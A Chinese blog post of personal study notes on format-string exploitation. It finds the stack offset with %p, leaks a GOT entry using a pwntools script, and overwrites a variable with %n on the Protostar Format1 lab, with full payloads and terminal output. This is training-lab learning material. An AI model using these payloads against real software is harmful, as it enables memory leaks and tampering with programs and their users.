pwn 学习笔记 格式化串计算偏移量

原创

SsMing. 于 2018-08-15 23:20:43 发布 3879 收藏 5
分类专栏： pwn 训练

本文链接：https://blog.csdn.net/qq_38783875/article/details/81706344


pwn 同时被 2 个专栏收录
20 篇文章 2 订阅
订阅专栏


训练
13 篇文章 0 订阅
订阅专栏

学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/

利用%s泄露libc函数的got表内容

addr%k$s可以用来泄露指定地址的内容，但要先确定k的值，可控制的格式化字符串参数是函数第几个参数（k+1），减一就是格式化字符串的第几个参数(k)。

利用 [tag]%p%p%p%p%p%p%p%p%p%p%p来确定k的值

（懒得打字）

```
[tag]%p%p%p%p%p%p...
```

一般来说，我们会重复某个字符的机器字长来作为tag，而后面会跟上若干个%p来输出栈上的内容，如果内容与我们前面的tag重复了，那么我们就可以有很大把握说明该地址就是格式化字符串的地址，之所以说是有很大把握，这是因为不排除栈上有一些临时变量也是该数值。一般情况下，极其少见，我们也可以更换其他字符进行尝试，进行再次确认。这里我们利用字符'A'作为特定字符，同时还是利用之前编译好的程序，如下

```
➜  leakmemory git:(master) ✗ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x
```

由0x41414141处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第5个参数，但是是格式化字符串的第4个参数。我们可以来测试一下

```
➜  leakmemory git:(master) ✗ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1]    61439 segmentation fault (core dumped)  ./leakmemory
```

可以看出，我们的程序崩溃了，为什么呢？这是因为我们试图将该格式化字符串所对应的值作为地址进行解析，但是显然该值没有办法作为一个合法的地址被解析，，所以程序就崩溃了。具体的可以参考下面的调试。

利用下面这个脚本随便改改就可以泄露got表内容了，觉得自己好草率

```
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
```

利用%n覆盖内存

输出格式 %n 可以将所输出字符串的长度值赋给一个变量, 见下例:
int slen;
printf("hello world%n", &slen);
执行后变量slen被赋值为11。

payload结构：...[overwrite addr]....%[overwrite offset]$n

我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖

这里以Protostar的Format1为例子（https://exploit-exercises.com/protostar/）

源码为：

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
```


看源码可知，由print(string)引起的只要target不为0，就能执行if语句中的命令，思路就是覆盖target变量地址的内容，使target有值。

1.找到target的地址

```
root@kali:~/pwn/string# objdump -t ./format1 |grep target
08049638 g     O .bss   00000004              target
root@kali:~/pwn/string#
```


找到target的地址为0x08049638

2.计算target与print参数的偏移量

被这步不知道坑了多久，终于找到了一个靠谱的方法（https://lightless.me/archives/protostar-format-writeup.html）

参拜了大神的方法之后，算出来偏移量，步骤如下

先大概测一下

```
root@protostar:/opt/protostar/bin# ./format1 `python -c 'print "ABCDEFGH"+"%08x.
"*128+"[%08x]"'`
ABCDEFGH0804960c.bffffab8.08048469.b7fd8304.b7fd7ff4.bffffab8.08048435.bffffc72.
b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffffb38.b7eadc76.00000002.bffffb64
.bffffb70.b7fe1848.bffffb20.ffffffff.b7ffeff4.0804824d.00000001.bffffb20.b7ff062
6.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffffb38.dafbb29d.f0b6448d.000000
00.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000
002.08048340.00000000.08048361.0804841c.00000002.bffffb64.08048450.08048440.b7ff
1040.bffffb5c.b7fff8f8.00000002.bffffc68.bffffc72.00000000.bfffff01.bfffff11.bff
fff1c.bfffff2c.bfffff36.bfffff4a.bfffff8c.bfffffa3.bfffffb4.bfffffbc.bfffffc3.bf
ffffd0.bfffffdc.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0f8bfbff.0
0000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.
00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.00000000
.0000000c.00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000001
9.bffffc4b.0000001f.bffffff2.0000000f.bffffc5b.00000000.00000000.a0000000.1960b6
45.cef11287.7dd988ba.69910f1a.00363836.00000000.00000000.6f662f2e.74616d72.42410
031.46454443.30254847.252e7838.2e783830.[783830
```



```
25][root@protostar:/opt/protostar/
bin#
```

减少四个

```
root@protostar:/opt/protostar/bin# ./format1 `python -c 'print "ABCDEFGH"+"%08x.
"*124+"[%08x]"'`
ABCDEFGH0804960c.bffffac8.08048469.b7fd8304.b7fd7ff4.bffffac8.08048435.bffffc86.
b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffffb48.b7eadc76.00000002.bffffb74
.bffffb80.b7fe1848.bffffb30.ffffffff.b7ffeff4.0804824d.00000001.bffffb30.b7ff062
6.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffffb48.81bef398.abf32588.000000
00.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000
002.08048340.00000000.08048361.0804841c.00000002.bffffb74.08048450.08048440.b7ff
1040.bffffb6c.b7fff8f8.00000002.bffffc7c.bffffc86.00000000.bfffff01.bfffff11.bff
fff1c.bfffff2c.bfffff36.bfffff4a.bfffff8c.bffffa3.bffffb4.bffffbc.bffffc3.bf
ffffd0.bfffffdc.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0f8bfbff.0
0000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.
00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.00000000
.0000000c.00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000001
9.bffffc5b.0000001f.bffffff2.0000000f.bffffc6b.00000000.00000000.94000000.a93dc3
7f.c473bf25.e594693a.6908a75f.00363836.00000000.00000000.6f662f2e.74616
d72.[42410031]root@protostar:/opt/protostar/bin#
```


发现还差两个，补一下

```
root@protostar:/opt/protostar/bin# ./format1 `python -c 'print "ABCDEFGHIJ"+"%08
x."*124+"[%08x]"'`
ABCDEFGHIJ0804960c.bffffac8.08048469.b7fd8304.b7fd7ff4.bffffac8.08048435.bffffc8
4.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffffb48.b7eadc76.00000002.bffffb
74.bffffb80.b7fe1848.bffffb30.ffffffff.b7ffeff4.0804824d.00000001.bffffb30.b7ff0
626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffffb48.2885f967.02c82f77.0000
0000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.000
00002.08048340.00000000.08048361.0804841c.00000002.bffffb74.08048450.08048440.b7
ff1040.bffffb6c.b7fff8f8.00000002.bffffc7a.bffffc84.00000000.bfffff01.bfffff11.b
fffff1c.bfffff2c.bfffff36.bfffff4a.bfffff8c.bffffa3.bffffb4.bffffbc.bffffc3.
bffffd0.bfffffdc.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0f8bfbff
.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.0000000
5.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.0000000
0.0000000c.00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000000
019.bffffc5b.0000001f.bffffff2.0000000f.bffffc6b.00000000.00000000.c0000000.2c4b
ec17.040c6bb8.73f5231d.695b6365.00363836.00000000.00000000.2f2e0000.6d726f66.003
17461.[44434241]root@protostar:/opt/protostar/bin#
```


可以看到括号里为自己输入的ABCD，终于对啦，把ABCD换为target的地址

```
root@protostar:/opt/protostar/bin# ./format1 `python -c 'print "\x38\x96\x04\x08
EFGHIJ"+"%08x."*124+"[%08x]"'`
8EFGHIJ0804960c.bffffac8.08048469.b7fd8304.b7fd7ff4.bffffac8.08048435.bffffc84.b
7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffffb48.b7eadc76.00000002.bffffb74.
bffffb80.b7fe1848.bffffb30.ffffffff.b7ffeff4.0804824d.00000001.bffffb30.b7ff0626
.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffffb48.888e5d8d.a2c38b9d.0000000
0.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.000000
02.08048340.00000000.08048361.0804841c.00000002.bffffb74.08048450.08048440.b7ff1
040.bffffb6c.b7fff8f8.00000002.bffffc7a.bffffc84.00000000.bfffff01.bfffff11.bfff
ff1c.bfffff2c.bfffff36.bfffff4a.bfffff8c.bffffa3.bffffb4.bffffbc.bffffc3.bff
fffd0.bfffffdc.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0f8bfbff.00
000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.0
0000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.00000000.
0000000c.00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.00000019
.bffffc5b.0000001f.bffffff2.0000000f.bffffc6b.00000000.00000000.4d000000.fe7b1a3
7.35793bbd.27407131.69bff1c3.00363836.00000000.00000000.2f2e0000.6d726f66.003174
61.[08049638]root@protostar:/opt/protostar/bin#
```


3.括号里面变成了target的地址，接下来只用把最后的[%08x],换成[%08n]

就可以覆盖target的内容，是target不在为空，成功执行if语句中的命令

```
root@protostar:/opt/protostar/bin# ./format1 `python -c 'print "\x38\x96\x04\x08
EFGHIJ"+"%08x."*124+"[%08n]"'`
8EFGHIJ0804960c.bffffac8.08048469.b7fd8304.b7fd7ff4.bffffac8.08048435.bffffc84.b
7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffffb48.b7eadc76.00000002.bffffb74.
bffffb80.b7fe1848.bffffb30.ffffffff.b7ffeff4.0804824d.00000001.bffffb30.b7ff0626
.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffffb48.71f233c8.5bbfe5d8.0000000
0.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.000000
02.08048340.00000000.08048361.0804841c.00000002.bffffb74.08048450.08048440.b7ff1
040.bffffb6c.b7fff8f8.00000002.bffffc7a.bffffc84.00000000.bfffff01.bfffff11.bfff
ff1c.bfffff2c.bfffff36.bfffff4a.bfffff8c.bffffa3.bffffb4.bffffbc.bffffc3.bff
fffd0.bfffffdc.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0f8bfbff.00
000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.0
0000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.00000000.
0000000c.00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.00000019
.bffffc5b.0000001f.bffffff2.0000000f.bffffc6b.00000000.00000000.a9000000.c93fd54
6.015bc703.c8daa5b8.691d7ecb.00363836.00000000.00000000.2f2e0000.6d726f66.003174
61.[]you have modified the target :)
```


艰难的一天终于结束啦，果然还是晚上脑子比较好用。洗洗睡吧